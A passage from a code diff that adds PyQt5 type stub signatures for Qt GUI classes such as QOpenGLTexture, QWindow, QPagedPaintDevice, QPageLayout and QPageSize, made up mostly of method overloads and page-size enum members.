'QOpenGLTexture.CubeMapFace', dataSize: int, data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setCompressedData(self, mipLevel: int, layer: int, dataSize: int, data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setCompressedData(self, mipLevel: int, dataSize: int, data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setCompressedData(self, dataSize: int, data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setCompressedData(self, mipLevel: int, layer: int, layerCount: int, cubeFace: 'QOpenGLTexture.CubeMapFace', dataSize: int, data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setData(self, mipLevel: int, layer: int, cubeFace: 'QOpenGLTexture.CubeMapFace', sourceFormat: 'QOpenGLTexture.PixelFormat', sourceType: 'QOpenGLTexture.PixelType', data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setData(self, mipLevel: int, layer: int, sourceFormat: 'QOpenGLTexture.PixelFormat', sourceType: 'QOpenGLTexture.PixelType', data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setData(self, mipLevel: int, sourceFormat: 'QOpenGLTexture.PixelFormat', sourceType: 'QOpenGLTexture.PixelType', data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setData(self, sourceFormat: 'QOpenGLTexture.PixelFormat', sourceType: 'QOpenGLTexture.PixelType', data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setData(self, image: QImage, genMipMaps: 'QOpenGLTexture.MipMapGeneration' = ...) -> None: ... + @typing.overload + def setData(self, mipLevel: int, layer: int, layerCount: int, cubeFace: 'QOpenGLTexture.CubeMapFace', sourceFormat: 'QOpenGLTexture.PixelFormat', sourceType: 'QOpenGLTexture.PixelType', data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setData(self, xOffset: int, yOffset: int, zOffset: int, width: int, height: int, depth: int, sourceFormat: 'QOpenGLTexture.PixelFormat', sourceType: 'QOpenGLTexture.PixelType', data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setData(self, xOffset: int, yOffset: int, zOffset: int, width: int, height: int, depth: int, mipLevel: int, sourceFormat: 'QOpenGLTexture.PixelFormat', sourceType: 'QOpenGLTexture.PixelType', data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setData(self, xOffset: int, yOffset: int, zOffset: int, width: int, height: int, depth: int, mipLevel: int, layer: int, sourceFormat: 'QOpenGLTexture.PixelFormat', sourceType: 'QOpenGLTexture.PixelType', data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setData(self, xOffset: int, yOffset: int, zOffset: int, width: int, height: int, depth: int, mipLevel: int, layer: int, cubeFace: 'QOpenGLTexture.CubeMapFace', sourceFormat: 'QOpenGLTexture.PixelFormat', sourceType: 'QOpenGLTexture.PixelType', data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + @typing.overload + def setData(self, xOffset: int, yOffset: int, zOffset: int, width: int, height: int, depth: int, mipLevel: int, layer: int, cubeFace: 'QOpenGLTexture.CubeMapFace', layerCount: int, sourceFormat: 'QOpenGLTexture.PixelFormat', sourceType: 'QOpenGLTexture.PixelType', data: PyQt5.sip.voidptr, options: typing.Optional[QOpenGLPixelTransferOptions] = ...) -> None: ... + def isTextureView(self) -> bool: ... + def createTextureView(self, target: 'QOpenGLTexture.Target', viewFormat: 'QOpenGLTexture.TextureFormat', minimumMipmapLevel: int, maximumMipmapLevel: int, minimumLayer: int, maximumLayer: int) -> 'QOpenGLTexture': ... + def isStorageAllocated(self) -> bool: ... + @typing.overload + def allocateStorage(self) -> None: ... + @typing.overload + def allocateStorage(self, pixelFormat: 'QOpenGLTexture.PixelFormat', pixelType: 'QOpenGLTexture.PixelType') -> None: ... + def faces(self) -> int: ... + def layers(self) -> int: ... + def setLayers(self, layers: int) -> None: ... + def maximumMipLevels(self) -> int: ... + def mipLevels(self) -> int: ... + def setMipLevels(self, levels: int) -> None: ... + def depth(self) -> int: ... + def height(self) -> int: ... + def width(self) -> int: ... + def setSize(self, width: int, height: int = ..., depth: int = ...) -> None: ... + def format(self) -> 'QOpenGLTexture.TextureFormat': ... + def setFormat(self, format: 'QOpenGLTexture.TextureFormat') -> None: ... + @typing.overload + @staticmethod + def boundTextureId(target: 'QOpenGLTexture.BindingTarget') -> int: ... + @typing.overload + @staticmethod + def boundTextureId(unit: int, target: 'QOpenGLTexture.BindingTarget') -> int: ... + @typing.overload + def isBound(self) -> bool: ... + @typing.overload + def isBound(self, unit: int) -> bool: ... + @typing.overload + def release(self) -> None: ... + @typing.overload + def release(self, unit: int, reset: 'QOpenGLTexture.TextureUnitReset' = ...) -> None: ... + @typing.overload + def bind(self) -> None: ... + @typing.overload + def bind(self, unit: int, reset: 'QOpenGLTexture.TextureUnitReset' = ...) -> None: ... + def textureId(self) -> int: ... + def isCreated(self) -> bool: ... + def destroy(self) -> None: ... + def create(self) -> bool: ... + + +class QOpenGLTextureBlitter(sip.simplewrapper): + + class Origin(int): + OriginBottomLeft = ... # type: QOpenGLTextureBlitter.Origin + OriginTopLeft = ... # type: QOpenGLTextureBlitter.Origin + + def __init__(self) -> None: ... + + @staticmethod + def sourceTransform(subTexture: QtCore.QRectF, textureSize: QtCore.QSize, origin: 'QOpenGLTextureBlitter.Origin') -> QMatrix3x3: ... + @staticmethod + def targetTransform(target: QtCore.QRectF, viewport: QtCore.QRect) -> QMatrix4x4: ... + @typing.overload + def blit(self, texture: int, targetTransform: QMatrix4x4, sourceOrigin: 'QOpenGLTextureBlitter.Origin') -> None: ... + @typing.overload + def blit(self, texture: int, targetTransform: QMatrix4x4, sourceTransform: QMatrix3x3) -> None: ... + def setOpacity(self, opacity: float) -> None: ... + def setRedBlueSwizzle(self, swizzle: bool) -> None: ... + def release(self) -> None: ... + def bind(self, target: int = ...) -> None: ... + def supportsExternalOESTarget(self) -> bool: ... + def destroy(self) -> None: ... + def isCreated(self) -> bool: ... + def create(self) -> bool: ... + + +class QOpenGLTimerQuery(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def waitForResult(self) -> int: ... + def isResultAvailable(self) -> bool: ... + def recordTimestamp(self) -> None: ... + def waitForTimestamp(self) -> int: ... + def end(self) -> None: ... + def begin(self) -> None: ... + def objectId(self) -> int: ... + def isCreated(self) -> bool: ... + def destroy(self) -> None: ... + def create(self) -> bool: ... + + +class QOpenGLTimeMonitor(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reset(self) -> None: ... + def waitForIntervals(self) -> typing.List[int]: ... + def waitForSamples(self) -> typing.List[int]: ... + def isResultAvailable(self) -> bool: ... + def recordSample(self) -> int: ... + def objectIds(self) -> typing.List[int]: ... + def isCreated(self) -> bool: ... + def destroy(self) -> None: ... + def create(self) -> bool: ... + def sampleCount(self) -> int: ... + def setSampleCount(self, sampleCount: int) -> None: ... + + +class QAbstractOpenGLFunctions(PyQt5.sip.wrapper): ... + + +class QOpenGLVertexArrayObject(QtCore.QObject): + + class Binder(sip.simplewrapper): + + def __init__(self, v: 'QOpenGLVertexArrayObject') -> None: ... + + def __exit__(self, type: typing.Any, value: typing.Any, traceback: typing.Any) -> None: ... + def __enter__(self) -> typing.Any: ... + def rebind(self) -> None: ... + def release(self) -> None: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def release(self) -> None: ... + def bind(self) -> None: ... + def objectId(self) -> int: ... + def isCreated(self) -> bool: ... + def destroy(self) -> None: ... + def create(self) -> bool: ... + + +class QWindow(QtCore.QObject, QSurface): + + class Visibility(int): + Hidden = ... # type: QWindow.Visibility + AutomaticVisibility = ... # type: QWindow.Visibility + Windowed = ... # type: QWindow.Visibility + Minimized = ... # type: QWindow.Visibility + Maximized = ... # type: QWindow.Visibility + FullScreen = ... # type: QWindow.Visibility + + class AncestorMode(int): + ExcludeTransients = ... # type: QWindow.AncestorMode + IncludeTransients = ... # type: QWindow.AncestorMode + + @typing.overload + def __init__(self, screen: typing.Optional['QScreen'] = ...) -> None: ... + @typing.overload + def __init__(self, parent: 'QWindow') -> None: ... + + def startSystemMove(self) -> bool: ... + def startSystemResize(self, edges: typing.Union[QtCore.Qt.Edges, QtCore.Qt.Edge]) -> bool: ... + def setWindowStates(self, states: typing.Union[QtCore.Qt.WindowStates, QtCore.Qt.WindowState]) -> None: ... + def windowStates(self) -> QtCore.Qt.WindowStates: ... + def setFlag(self, a0: QtCore.Qt.WindowType, on: bool = ...) -> None: ... + def opacityChanged(self, opacity: float) -> None: ... + def activeChanged(self) -> None: ... + def visibilityChanged(self, visibility: 'QWindow.Visibility') -> None: ... + @staticmethod + def fromWinId(id: PyQt5.sip.voidptr) -> 'QWindow': ... + def mask(self) -> 'QRegion': ... + def setMask(self, region: 'QRegion') -> None: ... + def opacity(self) -> float: ... + def setVisibility(self, v: 'QWindow.Visibility') -> None: ... + def visibility(self) -> 'QWindow.Visibility': ... + def tabletEvent(self, a0: QTabletEvent) -> None: ... + def touchEvent(self, a0: QTouchEvent) -> None: ... + def wheelEvent(self, a0: QWheelEvent) -> None: ... + def mouseMoveEvent(self, a0: QMouseEvent) -> None: ... + def mouseDoubleClickEvent(self, a0: QMouseEvent) -> None: ... + def mouseReleaseEvent(self, a0: QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QMouseEvent) -> None: ... + def keyReleaseEvent(self, a0: QKeyEvent) -> None: ... + def keyPressEvent(self, a0: QKeyEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def hideEvent(self, a0: QHideEvent) -> None: ... + def showEvent(self, a0: QShowEvent) -> None: ... + def focusOutEvent(self, a0: QFocusEvent) -> None: ... + def focusInEvent(self, a0: QFocusEvent) -> None: ... + def moveEvent(self, a0: QMoveEvent) -> None: ... + def resizeEvent(self, a0: QResizeEvent) -> None: ... + def exposeEvent(self, a0: QExposeEvent) -> None: ... + def windowTitleChanged(self, title: str) -> None: ... + def focusObjectChanged(self, object: QtCore.QObject) -> None: ... + def contentOrientationChanged(self, orientation: QtCore.Qt.ScreenOrientation) -> None: ... + def visibleChanged(self, arg: bool) -> None: ... + def maximumHeightChanged(self, arg: int) -> None: ... + def maximumWidthChanged(self, arg: int) -> None: ... + def minimumHeightChanged(self, arg: int) -> None: ... + def minimumWidthChanged(self, arg: int) -> None: ... + def heightChanged(self, arg: int) -> None: ... + def widthChanged(self, arg: int) -> None: ... + def yChanged(self, arg: int) -> None: ... + def xChanged(self, arg: int) -> None: ... + def windowStateChanged(self, windowState: QtCore.Qt.WindowState) -> None: ... + def modalityChanged(self, modality: QtCore.Qt.WindowModality) -> None: ... + def screenChanged(self, screen: 'QScreen') -> None: ... + def requestUpdate(self) -> None: ... + def alert(self, msec: int) -> None: ... + def setMaximumHeight(self, h: int) -> None: ... + def setMaximumWidth(self, w: int) -> None: ... + def setMinimumHeight(self, h: int) -> None: ... + def setMinimumWidth(self, w: int) -> None: ... + def setHeight(self, arg: int) -> None: ... + def setWidth(self, arg: int) -> None: ... + def setY(self, arg: int) -> None: ... + def setX(self, arg: int) -> None: ... + def setTitle(self, a0: str) -> None: ... + def lower(self) -> None: ... + def raise_(self) -> None: ... + def close(self) -> bool: ... + def showNormal(self) -> None: ... + def showFullScreen(self) -> None: ... + def showMaximized(self) -> None: ... + def showMinimized(self) -> None: ... + def hide(self) -> None: ... + def show(self) -> None: ... + def setVisible(self, visible: bool) -> None: ... + def unsetCursor(self) -> None: ... + def setCursor(self, a0: typing.Union[QCursor, QtCore.Qt.CursorShape]) -> None: ... + def cursor(self) -> QCursor: ... + def mapFromGlobal(self, pos: QtCore.QPoint) -> QtCore.QPoint: ... + def mapToGlobal(self, pos: QtCore.QPoint) -> QtCore.QPoint: ... + def focusObject(self) -> QtCore.QObject: ... + def setScreen(self, screen: 'QScreen') -> None: ... + def screen(self) -> 'QScreen': ... + def setMouseGrabEnabled(self, grab: bool) -> bool: ... + def setKeyboardGrabEnabled(self, grab: bool) -> bool: ... + def destroy(self) -> None: ... + def icon(self) -> QIcon: ... + def setIcon(self, icon: QIcon) -> None: ... + def filePath(self) -> str: ... + def setFilePath(self, filePath: str) -> None: ... + @typing.overload + def resize(self, newSize: QtCore.QSize) -> None: ... + @typing.overload + def resize(self, w: int, h: int) -> None: ... + @typing.overload + def setPosition(self, pt: QtCore.QPoint) -> None: ... + @typing.overload + def setPosition(self, posx: int, posy: int) -> None: ... + def position(self) -> QtCore.QPoint: ... + def size(self) -> QtCore.QSize: ... + def y(self) -> int: ... + def x(self) -> int: ... + def height(self) -> int: ... + def width(self) -> int: ... + def setFramePosition(self, point: QtCore.QPoint) -> None: ... + def framePosition(self) -> QtCore.QPoint: ... + def frameGeometry(self) -> QtCore.QRect: ... + def frameMargins(self) -> QtCore.QMargins: ... + def geometry(self) -> QtCore.QRect: ... + @typing.overload + def setGeometry(self, posx: int, posy: int, w: int, h: int) -> None: ... + @typing.overload + def setGeometry(self, rect: QtCore.QRect) -> None: ... + def setSizeIncrement(self, size: QtCore.QSize) -> None: ... + def setBaseSize(self, size: QtCore.QSize) -> None: ... + def setMaximumSize(self, size: QtCore.QSize) -> None: ... + def setMinimumSize(self, size: QtCore.QSize) -> None: ... + def sizeIncrement(self) -> QtCore.QSize: ... + def baseSize(self) -> QtCore.QSize: ... + def maximumSize(self) -> QtCore.QSize: ... + def minimumSize(self) -> QtCore.QSize: ... + def maximumHeight(self) -> int: ... + def maximumWidth(self) -> int: ... + def minimumHeight(self) -> int: ... + def minimumWidth(self) -> int: ... + def isExposed(self) -> bool: ... + def isAncestorOf(self, child: 'QWindow', mode: 'QWindow.AncestorMode' = ...) -> bool: ... + def transientParent(self) -> 'QWindow': ... + def setTransientParent(self, parent: 'QWindow') -> None: ... + def setWindowState(self, state: QtCore.Qt.WindowState) -> None: ... + def windowState(self) -> QtCore.Qt.WindowState: ... + def devicePixelRatio(self) -> float: ... + def contentOrientation(self) -> QtCore.Qt.ScreenOrientation: ... + def reportContentOrientationChange(self, orientation: QtCore.Qt.ScreenOrientation) -> None: ... + def isActive(self) -> bool: ... + def requestActivate(self) -> None: ... + def setOpacity(self, level: float) -> None: ... + def title(self) -> str: ... + def type(self) -> QtCore.Qt.WindowType: ... + def flags(self) -> QtCore.Qt.WindowFlags: ... + def setFlags(self, flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType]) -> None: ... + def requestedFormat(self) -> 'QSurfaceFormat': ... + def format(self) -> 'QSurfaceFormat': ... + def setFormat(self, format: 'QSurfaceFormat') -> None: ... + def setModality(self, modality: QtCore.Qt.WindowModality) -> None: ... + def modality(self) -> QtCore.Qt.WindowModality: ... + def isModal(self) -> bool: ... + def isTopLevel(self) -> bool: ... + def setParent(self, parent: 'QWindow') -> None: ... + @typing.overload + def parent(self) -> 'QWindow': ... + @typing.overload + def parent(self, mode: 'QWindow.AncestorMode') -> 'QWindow': ... + def winId(self) -> PyQt5.sip.voidptr: ... + def create(self) -> None: ... + def isVisible(self) -> bool: ... + def surfaceType(self) -> QSurface.SurfaceType: ... + def setSurfaceType(self, surfaceType: QSurface.SurfaceType) -> None: ... + + +class QPaintDeviceWindow(QWindow, QPaintDevice): + + def event(self, event: QtCore.QEvent) -> bool: ... + def exposeEvent(self, a0: QExposeEvent) -> None: ... + def metric(self, metric: QPaintDevice.PaintDeviceMetric) -> int: ... + def paintEvent(self, event: QPaintEvent) -> None: ... + @typing.overload + def update(self, rect: QtCore.QRect) -> None: ... + @typing.overload + def update(self, region: 'QRegion') -> None: ... + @typing.overload + def update(self) -> None: ... + + +class QOpenGLWindow(QPaintDeviceWindow): + + class UpdateBehavior(int): + NoPartialUpdate = ... # type: QOpenGLWindow.UpdateBehavior + PartialUpdateBlit = ... # type: QOpenGLWindow.UpdateBehavior + PartialUpdateBlend = ... # type: QOpenGLWindow.UpdateBehavior + + @typing.overload + def __init__(self, updateBehavior: 'QOpenGLWindow.UpdateBehavior' = ..., parent: typing.Optional[QWindow] = ...) -> None: ... + @typing.overload + def __init__(self, shareContext: QOpenGLContext, updateBehavior: 'QOpenGLWindow.UpdateBehavior' = ..., parent: typing.Optional[QWindow] = ...) -> None: ... + + def metric(self, metric: QPaintDevice.PaintDeviceMetric) -> int: ... + def resizeEvent(self, event: QResizeEvent) -> None: ... + def paintEvent(self, event: QPaintEvent) -> None: ... + def paintOverGL(self) -> None: ... + def paintUnderGL(self) -> None: ... + def paintGL(self) -> None: ... + def resizeGL(self, w: int, h: int) -> None: ... + def initializeGL(self) -> None: ... + def frameSwapped(self) -> None: ... + def shareContext(self) -> QOpenGLContext: ... + def grabFramebuffer(self) -> QImage: ... + def defaultFramebufferObject(self) -> int: ... + def context(self) -> QOpenGLContext: ... + def doneCurrent(self) -> None: ... + def makeCurrent(self) -> None: ... + def isValid(self) -> bool: ... + def updateBehavior(self) -> 'QOpenGLWindow.UpdateBehavior': ... + + +class QPagedPaintDevice(QPaintDevice): + + class PdfVersion(int): + PdfVersion_1_4 = ... # type: QPagedPaintDevice.PdfVersion + PdfVersion_A1b = ... # type: QPagedPaintDevice.PdfVersion + PdfVersion_1_6 = ... # type: QPagedPaintDevice.PdfVersion + + class PageSize(int): + A4 = ... # type: QPagedPaintDevice.PageSize + B5 = ... # type: QPagedPaintDevice.PageSize + Letter = ... # type: QPagedPaintDevice.PageSize + Legal = ... # type: QPagedPaintDevice.PageSize + Executive = ... # type: QPagedPaintDevice.PageSize + A0 = ... # type: QPagedPaintDevice.PageSize + A1 = ... # type: QPagedPaintDevice.PageSize + A2 = ... # type: QPagedPaintDevice.PageSize + A3 = ... # type: QPagedPaintDevice.PageSize + A5 = ... # type: QPagedPaintDevice.PageSize + A6 = ... # type: QPagedPaintDevice.PageSize + A7 = ... # type: QPagedPaintDevice.PageSize + A8 = ... # type: QPagedPaintDevice.PageSize + A9 = ... # type: QPagedPaintDevice.PageSize + B0 = ... # type: QPagedPaintDevice.PageSize + B1 = ... # type: QPagedPaintDevice.PageSize + B10 = ... # type: QPagedPaintDevice.PageSize + B2 = ... # type: QPagedPaintDevice.PageSize + B3 = ... # type: QPagedPaintDevice.PageSize + B4 = ... # type: QPagedPaintDevice.PageSize + B6 = ... # type: QPagedPaintDevice.PageSize + B7 = ... # type: QPagedPaintDevice.PageSize + B8 = ... # type: QPagedPaintDevice.PageSize + B9 = ... # type: QPagedPaintDevice.PageSize + C5E = ... # type: QPagedPaintDevice.PageSize + Comm10E = ... # type: QPagedPaintDevice.PageSize + DLE = ... # type: QPagedPaintDevice.PageSize + Folio = ... # type: QPagedPaintDevice.PageSize + Ledger = ... # type: QPagedPaintDevice.PageSize + Tabloid = ... # type: QPagedPaintDevice.PageSize + Custom = ... # type: QPagedPaintDevice.PageSize + A10 = ... # type: QPagedPaintDevice.PageSize + A3Extra = ... # type: QPagedPaintDevice.PageSize + A4Extra = ... # type: QPagedPaintDevice.PageSize + A4Plus = ... # type: QPagedPaintDevice.PageSize + A4Small = ... # type: QPagedPaintDevice.PageSize + A5Extra = ... # type: QPagedPaintDevice.PageSize + B5Extra = ... # type: QPagedPaintDevice.PageSize + JisB0 = ... # type: QPagedPaintDevice.PageSize + JisB1 = ... # type: QPagedPaintDevice.PageSize + JisB2 = ... # type: QPagedPaintDevice.PageSize + JisB3 = ... # type: QPagedPaintDevice.PageSize + JisB4 = ... # type: QPagedPaintDevice.PageSize + JisB5 = ... # type: QPagedPaintDevice.PageSize + JisB6 = ... # type: QPagedPaintDevice.PageSize + JisB7 = ... # type: QPagedPaintDevice.PageSize + JisB8 = ... # type: QPagedPaintDevice.PageSize + JisB9 = ... # type: QPagedPaintDevice.PageSize + JisB10 = ... # type: QPagedPaintDevice.PageSize + AnsiC = ... # type: QPagedPaintDevice.PageSize + AnsiD = ... # type: QPagedPaintDevice.PageSize + AnsiE = ... # type: QPagedPaintDevice.PageSize + LegalExtra = ... # type: QPagedPaintDevice.PageSize + LetterExtra = ... # type: QPagedPaintDevice.PageSize + LetterPlus = ... # type: QPagedPaintDevice.PageSize + LetterSmall = ... # type: QPagedPaintDevice.PageSize + TabloidExtra = ... # type: QPagedPaintDevice.PageSize + ArchA = ... # type: QPagedPaintDevice.PageSize + ArchB = ... # type: QPagedPaintDevice.PageSize + ArchC = ... # type: QPagedPaintDevice.PageSize + ArchD = ... # type: QPagedPaintDevice.PageSize + ArchE = ... # type: QPagedPaintDevice.PageSize + Imperial7x9 = ... # type: QPagedPaintDevice.PageSize + Imperial8x10 = ... # type: QPagedPaintDevice.PageSize + Imperial9x11 = ... # type: QPagedPaintDevice.PageSize + Imperial9x12 = ... # type: QPagedPaintDevice.PageSize + Imperial10x11 = ... # type: QPagedPaintDevice.PageSize + Imperial10x13 = ... # type: QPagedPaintDevice.PageSize + Imperial10x14 = ... # type: QPagedPaintDevice.PageSize + Imperial12x11 = ... # type: QPagedPaintDevice.PageSize + Imperial15x11 = ... # type: QPagedPaintDevice.PageSize + ExecutiveStandard = ... # type: QPagedPaintDevice.PageSize + Note = ... # type: QPagedPaintDevice.PageSize + Quarto = ... # type: QPagedPaintDevice.PageSize + Statement = ... # type: QPagedPaintDevice.PageSize + SuperA = ... # type: QPagedPaintDevice.PageSize + SuperB = ... # type: QPagedPaintDevice.PageSize + Postcard = ... # type: QPagedPaintDevice.PageSize + DoublePostcard = ... # type: QPagedPaintDevice.PageSize + Prc16K = ... # type: QPagedPaintDevice.PageSize + Prc32K = ... # type: QPagedPaintDevice.PageSize + Prc32KBig = ... # type: QPagedPaintDevice.PageSize + FanFoldUS = ... # type: QPagedPaintDevice.PageSize + FanFoldGerman = ... # type: QPagedPaintDevice.PageSize + FanFoldGermanLegal = ... # type: QPagedPaintDevice.PageSize + EnvelopeB4 = ... # type: QPagedPaintDevice.PageSize + EnvelopeB5 = ... # type: QPagedPaintDevice.PageSize + EnvelopeB6 = ... # type: QPagedPaintDevice.PageSize + EnvelopeC0 = ... # type: QPagedPaintDevice.PageSize + EnvelopeC1 = ... # type: QPagedPaintDevice.PageSize + EnvelopeC2 = ... # type: QPagedPaintDevice.PageSize + EnvelopeC3 = ... # type: QPagedPaintDevice.PageSize + EnvelopeC4 = ... # type: QPagedPaintDevice.PageSize + EnvelopeC6 = ... # type: QPagedPaintDevice.PageSize + EnvelopeC65 = ... # type: QPagedPaintDevice.PageSize + EnvelopeC7 = ... # type: QPagedPaintDevice.PageSize + Envelope9 = ... # type: QPagedPaintDevice.PageSize + Envelope11 = ... # type: QPagedPaintDevice.PageSize + Envelope12 = ... # type: QPagedPaintDevice.PageSize + Envelope14 = ... # type: QPagedPaintDevice.PageSize + EnvelopeMonarch = ... # type: QPagedPaintDevice.PageSize + EnvelopePersonal = ... # type: QPagedPaintDevice.PageSize + EnvelopeChou3 = ... # type: QPagedPaintDevice.PageSize + EnvelopeChou4 = ... # type: QPagedPaintDevice.PageSize + EnvelopeInvite = ... # type: QPagedPaintDevice.PageSize + EnvelopeItalian = ... # type: QPagedPaintDevice.PageSize + EnvelopeKaku2 = ... # type: QPagedPaintDevice.PageSize + EnvelopeKaku3 = ... # type: QPagedPaintDevice.PageSize + EnvelopePrc1 = ... # type: QPagedPaintDevice.PageSize + EnvelopePrc2 = ... # type: QPagedPaintDevice.PageSize + EnvelopePrc3 = ... # type: QPagedPaintDevice.PageSize + EnvelopePrc4 = ... # type: QPagedPaintDevice.PageSize + EnvelopePrc5 = ... # type: QPagedPaintDevice.PageSize + EnvelopePrc6 = ... # type: QPagedPaintDevice.PageSize + EnvelopePrc7 = ... # type: QPagedPaintDevice.PageSize + EnvelopePrc8 = ... # type: QPagedPaintDevice.PageSize + EnvelopePrc9 = ... # type: QPagedPaintDevice.PageSize + EnvelopePrc10 = ... # type: QPagedPaintDevice.PageSize + EnvelopeYou4 = ... # type: QPagedPaintDevice.PageSize + NPaperSize = ... # type: QPagedPaintDevice.PageSize + AnsiA = ... # type: QPagedPaintDevice.PageSize + AnsiB = ... # type: QPagedPaintDevice.PageSize + EnvelopeC5 = ... # type: QPagedPaintDevice.PageSize + EnvelopeDL = ... # type: QPagedPaintDevice.PageSize + Envelope10 = ... # type: QPagedPaintDevice.PageSize + LastPageSize = ... # type: QPagedPaintDevice.PageSize + + class Margins(sip.simplewrapper): + + bottom = ... # type: float + left = ... # type: float + right = ... # type: float + top = ... # type: float + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QPagedPaintDevice.Margins') -> None: ... + + def __init__(self) -> None: ... + + def pageLayout(self) -> 'QPageLayout': ... + @typing.overload + def setPageMargins(self, margins: QtCore.QMarginsF) -> bool: ... + @typing.overload + def setPageMargins(self, margins: QtCore.QMarginsF, units: 'QPageLayout.Unit') -> bool: ... + def setPageOrientation(self, orientation: 'QPageLayout.Orientation') -> bool: ... + def setPageLayout(self, pageLayout: 'QPageLayout') -> bool: ... + def margins(self) -> 'QPagedPaintDevice.Margins': ... + def setMargins(self, margins: 'QPagedPaintDevice.Margins') -> None: ... + def pageSizeMM(self) -> QtCore.QSizeF: ... + def setPageSizeMM(self, size: QtCore.QSizeF) -> None: ... + def pageSize(self) -> 'QPagedPaintDevice.PageSize': ... + @typing.overload + def setPageSize(self, size: 'QPagedPaintDevice.PageSize') -> None: ... + @typing.overload + def setPageSize(self, pageSize: 'QPageSize') -> bool: ... + def newPage(self) -> bool: ... + + +class QPageLayout(sip.simplewrapper): + + class Mode(int): + StandardMode = ... # type: QPageLayout.Mode + FullPageMode = ... # type: QPageLayout.Mode + + class Orientation(int): + Portrait = ... # type: QPageLayout.Orientation + Landscape = ... # type: QPageLayout.Orientation + + class Unit(int): + Millimeter = ... # type: QPageLayout.Unit + Point = ... # type: QPageLayout.Unit + Inch = ... # type: QPageLayout.Unit + Pica = ... # type: QPageLayout.Unit + Didot = ... # type: QPageLayout.Unit + Cicero = ... # type: QPageLayout.Unit + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, pageSize: 'QPageSize', orientation: 'QPageLayout.Orientation', margins: QtCore.QMarginsF, units: 'QPageLayout.Unit' = ..., minMargins: QtCore.QMarginsF = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QPageLayout') -> None: ... + + def paintRectPixels(self, resolution: int) -> QtCore.QRect: ... + def paintRectPoints(self) -> QtCore.QRect: ... + @typing.overload + def paintRect(self) -> QtCore.QRectF: ... + @typing.overload + def paintRect(self, units: 'QPageLayout.Unit') -> QtCore.QRectF: ... + def fullRectPixels(self, resolution: int) -> QtCore.QRect: ... + def fullRectPoints(self) -> QtCore.QRect: ... + @typing.overload + def fullRect(self) -> QtCore.QRectF: ... + @typing.overload + def fullRect(self, units: 'QPageLayout.Unit') -> QtCore.QRectF: ... + def maximumMargins(self) -> QtCore.QMarginsF: ... + def minimumMargins(self) -> QtCore.QMarginsF: ... + def setMinimumMargins(self, minMargins: QtCore.QMarginsF) -> None: ... + def marginsPixels(self, resolution: int) -> QtCore.QMargins: ... + def marginsPoints(self) -> QtCore.QMargins: ... + @typing.overload + def margins(self) -> QtCore.QMarginsF: ... + @typing.overload + def margins(self, units: 'QPageLayout.Unit') -> QtCore.QMarginsF: ... + def setBottomMargin(self, bottomMargin: float) -> bool: ... + def setTopMargin(self, topMargin: float) -> bool: ... + def setRightMargin(self, rightMargin: float) -> bool: ... + def setLeftMargin(self, leftMargin: float) -> bool: ... + def setMargins(self, margins: QtCore.QMarginsF) -> bool: ... + def units(self) -> 'QPageLayout.Unit': ... + def setUnits(self, units: 'QPageLayout.Unit') -> None: ... + def orientation(self) -> 'QPageLayout.Orientation': ... + def setOrientation(self, orientation: 'QPageLayout.Orientation') -> None: ... + def pageSize(self) -> 'QPageSize': ... + def setPageSize(self, pageSize: 'QPageSize', minMargins: QtCore.QMarginsF = ...) -> None: ... + def mode(self) -> 'QPageLayout.Mode': ... + def setMode(self, mode: 'QPageLayout.Mode') -> None: ... + def isValid(self) -> bool: ... + def isEquivalentTo(self, other: 'QPageLayout') -> bool: ... + def swap(self, other: 'QPageLayout') -> None: ... + + +class QPageSize(sip.simplewrapper): + + class SizeMatchPolicy(int): + FuzzyMatch = ... # type: QPageSize.SizeMatchPolicy + FuzzyOrientationMatch = ... # type: QPageSize.SizeMatchPolicy + ExactMatch = ... # type: QPageSize.SizeMatchPolicy + + class Unit(int): + Millimeter = ... # type: QPageSize.Unit + Point = ... # type: QPageSize.Unit + Inch = ... # type: QPageSize.Unit + Pica = ... # type: QPageSize.Unit + Didot = ... # type: QPageSize.Unit + Cicero = ... # type: QPageSize.Unit + + class PageSizeId(int): + A4 = ... # type: QPageSize.PageSizeId + B5 = ... # type: QPageSize.PageSizeId + Letter = ... # type: QPageSize.PageSizeId + Legal = ... # type: QPageSize.PageSizeId + Executive = ... # type: QPageSize.PageSizeId + A0 = ... # type: QPageSize.PageSizeId + A1 = ... # type: QPageSize.PageSizeId + A2 = ... # type: QPageSize.PageSizeId + A3 = ... # type: QPageSize.PageSizeId + A5 = ... # type: 